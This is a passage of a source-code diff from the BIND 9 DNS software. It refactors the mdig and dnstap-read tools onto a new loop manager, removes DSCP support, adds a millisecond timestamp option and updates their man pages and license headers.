+	while ((ch = isc_commandline_parse(argc, argv, "mptxy")) != -1) {
 		switch (ch) {
 		case 'm':
 			isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
@@ -339,6 +350,9 @@ main(int argc, char *argv[]) {
 		case 'p':
 			printmessage = true;
 			break;
+		case 't':
+			timestampmillis = true;
+			break;
 		case 'x':
 			hexmessage = true;
 			break;
@@ -360,8 +374,6 @@ main(int argc, char *argv[]) {
 
 	isc_mem_create(&mctx);
 
-	dns_result_register();
-
 	CHECKM(dns_dt_open(argv[0], dns_dtmode_file, mctx, &handle),
 	       "dns_dt_openfile");
 
diff --git a/bin/tools/dnstap-read.rst b/bin/tools/dnstap-read.rst
index 3aa2058c6f..38e2838a82 100644
--- a/bin/tools/dnstap-read.rst
+++ b/bin/tools/dnstap-read.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnstap-read
+.. program:: dnstap-read
 .. _man_dnstap-read:
 
 dnstap-read - print dnstap data in human-readable form
@@ -34,29 +26,36 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnstap-read`` reads ``dnstap`` data from a specified file and prints
+:program:`dnstap-read` reads ``dnstap`` data from a specified file and prints
 it in a human-readable format. By default, ``dnstap`` data is printed in
-a short summary format, but if the ``-y`` option is specified, a
+a short summary format, but if the :option:`-y` option is specified, a
 longer and more detailed YAML format is used.
 
 Options
 ~~~~~~~
 
-``-m``
+.. option:: -m
+
    This option indicates trace memory allocations, and is used for debugging memory leaks.
 
-``-p``
+.. option:: -p
+
    This option prints the text form of the DNS
    message that was encapsulated in the ``dnstap`` frame, after printing the ``dnstap`` data.
 
-``-x``
+.. option:: -t
+
+   This option prints long timestamps with millisecond precision.
+.. option:: -x
+
    This option prints a hex dump of the wire form
    of the DNS message that was encapsulated in the ``dnstap`` frame, after printing the ``dnstap`` data.
 
-``-y``
+.. option:: -y
+
    This option prints ``dnstap`` data in a detailed YAML format.
 
 See Also
 ~~~~~~~~
 
-:manpage:`named(8)`, :manpage:`rndc(8)`, BIND 9 Administrator Reference Manual.
+:iscman:`named(8) <named>`, :iscman:`rndc(8) <rndc>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/tools/mdig.c b/bin/tools/mdig.c
index 0052916977..f88edf49f6 100644
--- a/bin/tools/mdig.c
+++ b/bin/tools/mdig.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,29 +17,29 @@
 #include <string.h>
 #include <unistd.h>
 
-#include <isc/app.h>
 #include <isc/attributes.h>
 #include <isc/base64.h>
+#include <isc/getaddresses.h>
 #include <isc/hash.h>
 #include <isc/hex.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/mem.h>
 #include <isc/net.h>
+#include <isc/netmgr.h>
 #include <isc/nonce.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
+#include <isc/portset.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
 #include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
+#include <isc/time.h>
 #include <isc/util.h>
 
 #include <dns/byaddr.h>
 #include <dns/dispatch.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/message.h>
 #include <dns/name.h>
@@ -46,15 +48,9 @@
 #include <dns/rdataset.h>
 #include <dns/rdatatype.h>
 #include <dns/request.h>
-#include <dns/resolver.h>
-#include <dns/result.h>
 #include <dns/types.h>
 #include <dns/view.h>
 
-#include <dst/result.h>
-
-#include <bind9/getaddresses.h>
-
 #define CHECK(str, x)                                                       \
 	{                                                                   \
 		if ((x) != ISC_R_SUCCESS) {                                 \
@@ -84,11 +80,8 @@
 #define UDPTIMEOUT 5
 #define MAXTRIES   0xffffffff
 
-#define NS_PER_US  1000	   /*%< Nanoseconds per microsecond. */
-#define US_PER_SEC 1000000 /*%< Microseconds per second. */
-#define US_PER_MS  1000	   /*%< Microseconds per millisecond. */
-
 static isc_mem_t *mctx = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static dns_requestmgr_t *requestmgr = NULL;
 static const char *batchname = NULL;
 static FILE *batchfp = NULL;
@@ -119,7 +112,6 @@ static isc_sockaddr_t srcaddr;
 static char *server = NULL;
 static isc_sockaddr_t dstaddr;
 static in_port_t port = 53;
-static isc_dscp_t dscp = -1;
 static unsigned char cookie_secret[33];
 static int onfly = 0;
 static char hexcookie[81];
@@ -188,10 +180,9 @@ rcode_totext(dns_rcode_t rcode) {
 	return (totext.deconsttext);
 }
 
-/* receive response event handler */
 static void
-recvresponse(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = (dns_requestevent_t *)event;
+recvresponse(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
 	isc_result_t result;
 	dns_message_t *query = NULL, *response = NULL;
 	unsigned int parseflags = 0;
@@ -201,14 +192,12 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 	unsigned int styleflags = 0;
 	dns_messagetextflag_t flags;
 
-	UNUSED(task);
-
-	REQUIRE(reqev != NULL);
-	query = reqev->ev_arg;
+	query = dns_request_getarg(request);
 
-	if (reqev->result != ISC_R_SUCCESS) {
+	result = dns_request_getresult(request);
+	if (result != ISC_R_SUCCESS) {
 		fprintf(stderr, "response failed with %s\n",
-			isc_result_totext(reqev->result));
+			isc_result_totext(result));
 		if (continue_on_error) {
 			goto cleanup;
 		} else {
@@ -224,8 +213,8 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 		parseflags |= DNS_MESSAGEPARSE_IGNORETRUNCATION;
 	}
 
-	msgbuf = dns_request_getanswer(reqev->request);
-	result = dns_request_getresponse(reqev->request, response, parseflags);
+	msgbuf = dns_request_getanswer(request);
+	result = dns_request_getresponse(request, response, parseflags);
 	CHECK("dns_request_getresponse", result);
 
 	styleflags |= DNS_STYLEFLAG_REL_OWNER;
@@ -330,7 +319,7 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 			if (hash != NULL) {
 				*hash = '\0';
 			}
-			printf("    response_address: %s\n", sockstr);
+			printf("    response_address: \"%s\"\n", sockstr);
 			printf("    response_port: %u\n", sport);
 		}
 
@@ -341,7 +330,7 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 			if (hash != NULL) {
 				*hash = '\0';
 			}
-			printf("    query_address: %s\n", sockstr);
+			printf("    query_address: \"%s\"\n", sockstr);
 			printf("    query_port: %u\n", sport);
 		}
 
@@ -477,7 +466,8 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 						dns_rdataset_next(rdataset);
 					dns_rdata_reset(&rdata);
 					if (strlen("\n") >=
-					    isc_buffer_availablelength(buf)) {
+					    isc_buffer_availablelength(buf))
+					{
 						goto buftoosmall;
 					}
 					isc_buffer_putstr(buf, "\n");
@@ -544,11 +534,10 @@ recvresponse(isc_task_t *task, isc_event_t *event) {
 	if (response != NULL) {
 		dns_message_detach(&response);
 	}
-	dns_request_destroy(&reqev->request);
-	isc_event_free(&event);
+	dns_request_destroy(&request);
 
 	if (--onfly == 0) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(loopmgr);
 	}
 	return;
 }
@@ -579,7 +568,7 @@ compute_cookie(unsigned char *cookie, size_t len) {
 }
 
 static isc_result_t
-sendquery(struct query *query, isc_task_t *task) {
+sendquery(struct query *query) {
 	dns_request_t *request = NULL;
 	dns_message_t *message = NULL;
 	dns_name_t *qname = NULL;
@@ -587,7 +576,7 @@ sendquery(struct query *query, isc_task_t *task) {
 	isc_result_t result;
 	dns_fixedname_t queryname;
 	isc_buffer_t buf;
-	unsigned int options;
+	unsigned int options = 0;
 
 	onfly++;
 
@@ -619,11 +608,9 @@ sendquery(struct query *query, isc_task_t *task) {
 	message->rdclass = query->rdclass;
 	message->id = (unsigned short)(random() & 0xFFFF);
 
-	result = dns_message_gettempname(message, &qname);
-	CHECK("dns_message_gettempname", result);
+	dns_message_gettempname(message, &qname);
 
-	result = dns_message_gettemprdataset(message, &qrdataset);
-	CHECK("dns_message_gettemprdataset", result);
+	dns_message_gettemprdataset(message, &qrdataset);
 
 	dns_name_clone(dns_fixedname_name(&queryname), qname);
 	dns_rdataset_makequestion(qrdataset, query->rdclass, query->rdtype);
@@ -701,7 +688,8 @@ sendquery(struct query *query, isc_task_t *task) {
 			isc_buffer_putuint8(&b, 0);
 			/* address */
 			if (addrl > 0) {
-				isc_buffer_putmem(&b, addr, (unsigned)addrl);
+				isc_buffer_putmem(&b, addr,
+						  (unsigned int)addrl);
 			}
 
 			opts[i].value = (uint8_t *)ecsbuf;
@@ -750,40 +738,37 @@ sendquery(struct query *query, isc_task_t *task) {
 		add_opt(message, query->udpsize, query->edns, flags, opts, i);
 	}
 
-	options = 0;
 	if (tcp_mode) {
-		options |= DNS_REQUESTOPT_TCP | DNS_REQUESTOPT_SHARE;
+		options |= DNS_REQUESTOPT_TCP;
 	}
-	request = NULL;
-	result = dns_request_createvia(
-		requestmgr, message, have_src ? &srcaddr : NULL, &dstaddr, dscp,
-		options, NULL, query->timeout, query->udptimeout,
-		query->udpretries, task, recvresponse, message, &request);
-	CHECK("dns_request_createvia4", result);
+
+	result = dns_request_create(
+		requestmgr, message, have_src ? &srcaddr : NULL, &dstaddr, NULL,
+		NULL, options, NULL, query->timeout, query->udptimeout,
+		query->udpretries, isc_loop_main(loopmgr), recvresponse,
+		message, &request);
+	CHECK("dns_request_create", result);
 
 	return (ISC_R_SUCCESS);
 }
 
 static void
-sendqueries(isc_task_t *task, isc_event_t *event) {
-	struct query *query = (struct query *)event->ev_arg;
-
-	isc_event_free(&event);
+sendqueries(void *arg) {
+	struct query *query = (struct query *)arg;
 
 	while (query != NULL) {
 		struct query *next = ISC_LIST_NEXT(query, link);
 
-		sendquery(query, task);
+		sendquery(query);
 		query = next;
 	}
 
 	if (onfly == 0) {
-		isc_app_shutdown();
+		isc_loopmgr_shutdown(loopmgr);
 	}
-	return;
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -815,9 +800,6 @@ help(void) {
 	       "                 -p port             (specify port number)\n"
 	       "                 -m                  (enable memory usage "
 	       "debugging)\n"
-	       "                 +[no]dscp[=###]     (Set the DSCP value to "
-	       "### "
-	       "[0..63])\n"
 	       "                 +[no]vc             (TCP mode)\n"
 	       "                 +[no]tcp            (TCP mode, alternate "
 	       "syntax)\n"
@@ -894,7 +876,7 @@ help(void) {
 	       "Server ID)\n");
 }
 
-ISC_NORETURN static void
+noreturn static void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 static void
@@ -907,6 +889,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	exit(-2);
 }
 
@@ -1098,11 +1081,10 @@ get_reverse(char *reverse, size_t len, const char *value) {
 		/* This is a valid IPv6 address. */
 		dns_fixedname_t fname;
 		dns_name_t *name;
-		unsigned int options = 0;
 
 		name = dns_fixedname_initname(&fname);
-		result = dns_byaddr_createptrname(&addr, options, name);
-		CHECK("dns_byaddr_createptrname2", result);
+		result = dns_byaddr_createptrname(&addr, name);
+		CHECK("dns_byaddr_createptrname", result);
 		dns_name_format(name, reverse, (unsigned int)len);
 		return;
 	} else {
@@ -1321,20 +1303,6 @@ plus_option(char *option, struct query *query, bool global) {
 			}
 			query->dnssec = state;
 			break;
-		case 's': /* dscp */
-			FULLCHECK("dscp");
-			GLOBAL();
-			if (!state) {
-				dscp = -1;
-				break;
-			}
-			if (value == NULL) {
-				goto need_value;
-			}
-			result = parse_uint(&num, value, 0x3f, "DSCP");
-			CHECK("parse_uint(DSCP)", result);
-			dscp = num;
-			break;
 		default:
 			goto invalid_option;
 		}
@@ -1458,7 +1426,6 @@ plus_option(char *option, struct query *query, bool global) {
 				result = parse_uint(&query->udpretries, value,
 						    MAXTRIES - 1, "udpretries");
 				CHECK("parse_uint(udpretries)", result);
-				query->udpretries++;
 				break;
 			default:
 				goto invalid_option;
@@ -1579,8 +1546,8 @@ plus_option(char *option, struct query *query, bool global) {
 			result = parse_uint(&query->udpretries, value, MAXTRIES,
 					    "udpretries");
 			CHECK("parse_uint(udpretries)", result);
-			if (query->udpretries == 0) {
-				query->udpretries = 1;
+			if (query->udpretries > 0) {
+				query->udpretries -= 1;
 			}
 			break;
 		case 't':
@@ -1698,7 +1665,7 @@ dash_option(const char *option, char *next, struct query *query, bool global,
 				have_ipv6 = false;
 			} else {
 				fatal("can't find IPv4 networking");
-				/* NOTREACHED */
+				UNREACHABLE();
 				return (false);
 			}
 			break;
@@ -1709,7 +1676,7 @@ dash_option(const char *option, char *next, struct query *query, bool global,
 				have_ipv4 = false;
 			} else {
 				fatal("can't find IPv6 networking");
-				/* NOTREACHED */
+				UNREACHABLE();
 				return (false);
 			}
 			break;
@@ -1726,7 +1693,7 @@ dash_option(const char *option, char *next, struct query *query, bool global,
 			 */
 			break;
 		case 'v':
-			fprintf(stderr, "mDiG %s\n", PACKAGE_VERSION);
+			printf("mDiG %s\n", PACKAGE_VERSION);
 			exit(0);
 			break;
 		}
@@ -1817,7 +1784,7 @@ dash_option(const char *option, char *next, struct query *query, bool global,
 		fprintf(stderr, "Invalid option: -%s\n", option);
 		usage();
 	}
-	/* NOTREACHED */
+	UNREACHABLE();
 	return (false);
 }
 
@@ -1890,7 +1857,8 @@ preparse_args(int argc, char **argv) {
 		}
 		/* Look for dash value option. */
 		if (strpbrk(option, dash_opts) != &option[0] ||
-		    strlen(option) > 1U) {
+		    strlen(option) > 1U)
+		{
 			/* Error or value in option. */
 			continue;
 		}
@@ -1947,7 +1915,7 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 		default_query.ecs_addr = NULL;
 		default_query.timeout = 0;
 		default_query.udptimeout = 0;
-		default_query.udpretries = 3;
+		default_query.udpretries = 2;
 		ISC_LINK_INIT(&default_query, link);
 	}
 
@@ -1977,13 +1945,15 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 
 			if (rc <= 1) {
 				if (dash_option(&rv[0][1], NULL, query, global,
-						&setname)) {
+						&setname))
+				{
 					rc--;
 					rv++;
 				}
 			} else {
 				if (dash_option(&rv[0][1], rv[1], query, global,
-						&setname)) {
+						&setname))
+				{
 					rc--;
 					rv++;
 				}
@@ -2057,6 +2027,73 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 	}
 }
 
+/*
+ * Try honoring the operating system's preferred ephemeral port range.
+ */
+static void
+set_source_ports(dns_dispatchmgr_t *manager) {
+	isc_portset_t *v4portset = NULL, *v6portset = NULL;
+	in_port_t udpport_low, udpport_high;
+	isc_result_t result;
+
+	result = isc_portset_create(mctx, &v4portset);
+	if (result != ISC_R_SUCCESS) {
+		fatal("isc_portset_create (v4) failed");
+	}
+
+	result = isc_net_getudpportrange(AF_INET, &udpport_low, &udpport_high);
+	if (result != ISC_R_SUCCESS) {
+		fatal("isc_net_getudpportrange (v4) failed");
+	}
+
+	isc_portset_addrange(v4portset, udpport_low, udpport_high);
+
+	result = isc_portset_create(mctx, &v6portset);
+	if (result != ISC_R_SUCCESS) {
+		fatal("isc_portset_create (v6) failed");
+	}
+	result = isc_net_getudpportrange(AF_INET6, &udpport_low, &udpport_high);
+	if (result != ISC_R_SUCCESS) {
+		fatal("isc_net_getudpportrange (v6) failed");
+	}
+
+	isc_portset_addrange(v6portset, udpport_low, udpport_high);
+
+	result = dns_dispatchmgr_setavailports(manager, v4portset, v6portset);
+	if (result != ISC_R_SUCCESS) {
+		fatal("dns_dispatchmgr_setavailports failed");
+	}
+
+	isc_portset_destroy(mctx, &v4portset);
+	isc_portset_destroy(mctx, &v6portset);
+}
+
+static void
+teardown_view(void *arg) {
+	dns_view_t *view = arg;
+	dns_view_detach(&view);
+}
+
+static void
+teardown_requestmgr(void *arg) {
+	dns_requestmgr_t *mgr = arg;
+
+	dns_requestmgr_shutdown(mgr);
+	dns_requestmgr_detach(&mgr);
+}
+
+static void
+teardown_dispatch(void *arg) {
+	dns_dispatch_t *dispatchv4 = arg;
+	dns_dispatch_detach(&dispatchv4);
+}
+
+static void
+teardown_dispatchmgr(void *arg) {
+	dns_dispatchmgr_t *dispatchmgr = arg;
+	dns_dispatchmgr_detach(&dispatchmgr);
+}
+
 /*% Main processing routine for mdig */
 int
 main(int argc, char *argv[]) {
@@ -2066,20 +2103,11 @@ main(int argc, char *argv[]) {
 	isc_log_t *lctx = NULL;
 	isc_logconfig_t *lcfg = NULL;
 	isc_nm_t *netmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_task_t *task = NULL;
-	isc_timermgr_t *timermgr = NULL;
-	isc_socketmgr_t *socketmgr = NULL;
 	dns_dispatchmgr_t *dispatchmgr = NULL;
-	unsigned int attrs, attrmask;
 	dns_dispatch_t *dispatchvx = NULL;
 	dns_view_t *view = NULL;
-	int ns;
 	unsigned int i;
-
-	RUNCHECK(isc_app_start());
-
-	dns_result_register();
+	int ns;
 
 	if (isc_net_probeipv4() == ISC_R_SUCCESS) {
 		have_ipv4 = true;
@@ -2093,8 +2121,7 @@ main(int argc, char *argv[]) {
 
 	preparse_args(argc, argv);
 
-	isc_mem_create(&mctx);
-
+	isc_managers_create(&mctx, 1, &loopmgr, &netmgr);
 	isc_log_create(mctx, &lctx, &lcfg);
 
 	RUNCHECK(dst_lib_init(mctx, NULL));
@@ -2107,7 +2134,7 @@ main(int argc, char *argv[]) {
 	}
 
 	ns = 0;
-	result = bind9_getaddresses(server, port, &dstaddr, 1, &ns);
+	result = isc_getaddresses(server, port, &dstaddr, 1, &ns);
 	if (result != ISC_R_SUCCESS) {
 		fatal("couldn't get address for '%s': %s", server,
 		      isc_result_totext(result));
@@ -2124,51 +2151,43 @@ main(int argc, char *argv[]) {
 		fatal("can't choose between IPv4 and IPv6");
 	}
 
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	RUNCHECK(isc_task_create(taskmgr, 0, &task));
+	RUNCHECK(dns_dispatchmgr_create(mctx, netmgr, &dispatchmgr));
 
-	RUNCHECK(dns_dispatchmgr_create(mctx, &dispatchmgr));
+	set_source_ports(dispatchmgr);
 
-	attrs = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_MAKEQUERY;
 	if (have_ipv4) {
 		isc_sockaddr_any(&bind_any);
-		attrs |= DNS_DISPATCHATTR_IPV4;
 	} else {
 		isc_sockaddr_any6(&bind_any);
-		attrs |= DNS_DISPATCHATTR_IPV6;
 	}
-	attrmask = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_TCP |
-		   DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_IPV6;
-	dispatchvx = NULL;
-	RUNCHECK(dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr,
-				     have_src ? &srcaddr : &bind_any, 4096, 100,
-				     100, 17, 19, attrs, attrmask,
-				     &dispatchvx));
+	RUNCHECK(dns_dispatch_createudp(
+		dispatchmgr, have_src ? &srcaddr : &bind_any, &dispatchvx));
 
 	RUNCHECK(dns_requestmgr_create(
-		mctx, timermgr, socketmgr, taskmgr, dispatchmgr,
-		have_ipv4 ? dispatchvx : NULL, have_ipv6 ? dispatchvx : NULL,
-		&requestmgr));
+		mctx, loopmgr, dispatchmgr, have_ipv4 ? dispatchvx : NULL,
+		have_ipv6 ? dispatchvx : NULL, &requestmgr));
 
-	RUNCHECK(dns_view_create(mctx, 0, "_test", &view));
+	RUNCHECK(dns_view_create(mctx, NULL, 0, "_mdig", &view));
 
 	query = ISC_LIST_HEAD(queries);
-	RUNCHECK(isc_app_onrun(mctx, task, sendqueries, query));
+	isc_loopmgr_setup(loopmgr, sendqueries, query);
+	isc_loopmgr_teardown(loopmgr, teardown_view, view);
+	isc_loopmgr_teardown(loopmgr, teardown_requestmgr, requestmgr);
+	isc_loopmgr_teardown(loopmgr, teardown_dispatch, dispatchvx);
+	isc_loopmgr_teardown(loopmgr, teardown_dispatchmgr, dispatchmgr);
 
 	/*
 	 * Stall to the start of a new second.
 	 */
 	if (burst) {
 		isc_time_t start, now;
-		RUNCHECK(isc_time_now(&start));
+		start = isc_time_now();
 		/*
 		 * Sleep to 1ms of the end of the second then run a busy loop
 		 * until the second changes.
 		 */
 		do {
-			RUNCHECK(isc_time_now(&now));
+			now = isc_time_now();
 			if (isc_time_seconds(&start) == isc_time_seconds(&now))
 			{
 				int us = US_PER_SEC -
@@ -2183,20 +2202,7 @@ main(int argc, char *argv[]) {
 		} while (1);
 	}
 
-	(void)isc_app_run();
-
-	dns_view_detach(&view);
-
-	dns_requestmgr_shutdown(requestmgr);
-	dns_requestmgr_detach(&requestmgr);
-
-	dns_dispatch_detach(&dispatchvx);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-
-	isc_task_shutdown(task);
-	isc_task_detach(&task);
-
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
+	isc_loopmgr_run(loopmgr);
 
 	dst_lib_destroy();
 
@@ -2227,9 +2233,6 @@ main(int argc, char *argv[]) {
 		isc_mem_free(mctx, default_query.ecs_addr);
 	}
 
-	isc_mem_destroy(&mctx);
-
-	isc_app_finish();
-
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
 	return (0);
 }
diff --git a/bin/tools/mdig.rst b/bin/tools/mdig.rst
index 7f8138c561..9bb1998cb5 100644
--- a/bin/tools/mdig.rst
+++ b/bin/tools/mdig.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: mdig
+.. program:: mdig
 .. _man_mdig:
 
 mdig - DNS pipelined lookup utility
@@ -38,24 +30,24 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``mdig`` is a multiple/pipelined query version of ``dig``: instead of
+:program:`mdig` is a multiple/pipelined query version of :iscman:`dig`: instead of
 waiting for a response after sending each query, it begins by sending
 all queries. Responses are displayed in the order in which they are
 received, not in the order the corresponding queries were sent.
 
-``mdig`` options are a subset of the ``dig`` options, and are divided
+:program:`mdig` options are a subset of the :iscman:`dig` options, and are divided
 into "anywhere options," which can occur anywhere, "global options," which
 must occur before the query name (or they are ignored with a warning),
 and "local options," which apply to the next query on the command line.
 
 The ``@server`` option is a mandatory global option. It is the name or IP
-address of the name server to query. (Unlike ``dig``, this value is not
+address of the name server to query. (Unlike :iscman:`dig`, this value is not
 retrieved from ``/etc/resolv.conf``.) It can be an IPv4 address in
 dotted-decimal notation, an IPv6 address in colon-delimited notation, or
 a hostname. When the supplied ``server`` argument is a hostname,
-``mdig`` resolves that name before querying the name server.
+:program:`mdig` resolves that name before querying the name server.
 
-``mdig`` provides a number of query options which affect the way in
+:program:`mdig` provides a number of query options which affect the way in
 which lookups are made and the results displayed. Some of these set or
 reset flag bits in the query header, some determine which sections of
 the answer get printed, and others determine the timeout and retry
@@ -70,80 +62,98 @@ assign values to options like the timeout interval. They have the form
 Anywhere Options
 ~~~~~~~~~~~~~~~~
 
-``-f``
-   This option makes ``mdig`` operate in batch mode by reading a list
+.. option:: -f
+
+   This option makes :program:`mdig` operate in batch mode by reading a list
    of lookup requests to process from the file ``filename``. The file
    contains a number of queries, one per line. Each entry in the file
    should be organized in the same way they would be presented as queries
-   to ``mdig`` using the command-line interface.
+   to :program:`mdig` using the command-line interface.
 
-``-h``
-   This option causes ``mdig`` to print detailed help information, with the full list
+.. option:: -h
+
+   This option causes :program:`mdig` to print detailed help information, with the full list
    of options, and exit.
 
-``-v``
-   This option causes ``mdig`` to print the version number and exit.
+.. option:: -v
+
+   This option causes :program:`mdig` to print the version number and exit.
 
 Global Options
 ~~~~~~~~~~~~~~
 
-``-4``
-   This option forces ``mdig`` to only use IPv4 query transport.
+.. option:: -4
+
+   This option forces :program:`mdig` to only use IPv4 query transport.
+
+.. option:: -6
 
-``-6``
-   This option forces ``mdig`` to only use IPv6 query transport.
+   This option forces :program:`mdig` to only use IPv6 query transport.
+
+.. option:: -b address
 
-``-b address``
    This option sets the source IP address of the query to
    ``address``. This must be a valid address on one of the host's network
    interfaces or "0.0.0.0" or "::". An optional port may be specified by
    appending "#<port>"
 
-``-m``
+.. option:: -m
+
    This option enables memory usage debugging.
 
-``-p port#``
+.. option:: -p port#
+
    This option is used when a non-standard port number is to be
-   queried. ``port#`` is the port number that ``mdig`` sends its
+   queried. ``port#`` is the port number that :program:`mdig` sends its
    queries to, instead of the standard DNS port number 53. This option is
    used to test a name server that has been configured to listen for
    queries on a non-standard port number.
 
 The global query options are:
 
-``+[no]additional``
+.. option:: +additional, +noadditional
+
    This option displays [or does not display] the additional section of a reply. The
    default is to display it.
 
-``+[no]all``
+.. option:: +all, +noall
+
    This option sets or clears all display flags.
 
-``+[no]answer``
+.. option:: +answer, +noanswer
+
    This option displays [or does not display] the answer section of a reply. The default
    is to display it.
 
-``+[no]authority``
+.. option:: +authority, +noauthority
+
    This option displays [or does not display] the authority section of a reply. The
    default is to display it.
 
-``+[no]besteffort``
+.. option:: +besteffort, +nobesteffort
+
    This option attempts to display [or does not display] the contents of messages which are malformed. The
    default is to not display malformed answers.
 
-``+burst``
+.. option:: +burst
+
    This option delays queries until the start of the next second.
 
-``+[no]cl``
+.. option:: +cl, +nocl
+
    This option displays [or does not display] the CLASS when printing the record.
 
-``+[no]comments``
+.. option:: +comments, +nocomments
+
    This option toggles the display of comment lines in the output. The default is to
    print comments.
 
-``+[no]continue``
+.. option:: +continue, +nocontinue
+
    This option toggles continuation on errors (e.g. timeouts).
 
-``+[no]crypto``
+.. option:: +crypto, +nocrypto
+
    This option toggles the display of cryptographic fields in DNSSEC records. The
    contents of these fields are unnecessary to debug most DNSSEC
    validation failures and removing them makes it easier to see the
@@ -151,72 +161,79 @@ The global query options are:
    they are replaced by the string "[omitted]"; in the DNSKEY case, the
    key ID is displayed as the replacement, e.g., ``[ key id = value ]``.
 
-``+dscp[=value]``
-   This option sets the DSCP code point to be used when sending the query. Valid DSCP
-   code points are in the range [0...63]. By default no code point is
-   explicitly set.
+.. option:: +multiline, +nomultiline
 
-``+[no]multiline``
    This option toggles printing of records, like the SOA records, in a verbose multi-line format
    with human-readable comments. The default is to print each record on
-   a single line, to facilitate machine parsing of the ``mdig`` output.
+   a single line, to facilitate machine parsing of the :program:`mdig` output.
+
+.. option:: +question, +noquestion
 
-``+[no]question``
    This option prints [or does not print] the question section of a query when an answer
    is returned. The default is to print the question section as a
    comment.
 
-``+[no]rrcomments``
+.. option:: +rrcomments, +norrcomments
+
    This option toggles the display of per-record comments in the output (for example,
    human-readable key information about DNSKEY records). The default is
    not to print record comments unless multiline mode is active.
 
-``+[no]short``
+.. option:: +short, +noshort
+
    This option provides [or does not provide] a terse answer. The default is to print the answer in a
    verbose form.
 
-``+split=W``
+.. option:: +split=W
+
    This option splits long hex- or base64-formatted fields in resource records into
    chunks of ``W`` characters (where ``W`` is rounded up to the nearest
    multiple of 4). ``+nosplit`` or ``+split=0`` causes fields not to be
    split. The default is 56 characters, or 44 characters when
    multiline mode is active.
 
-``+[no]tcp``
+.. option:: +tcp, +notcp
+
    This option uses [or does not use] TCP when querying name servers. The default behavior
    is to use UDP.
 
-``+[no]ttlid``
+.. option:: +ttlid, +nottlid
+
    This option displays [or does not display] the TTL when printing the record.
 
-``+[no]ttlunits``
+.. option:: +ttlunits, +nottlunits
+
    This option displays [or does not display] the TTL in friendly human-readable time
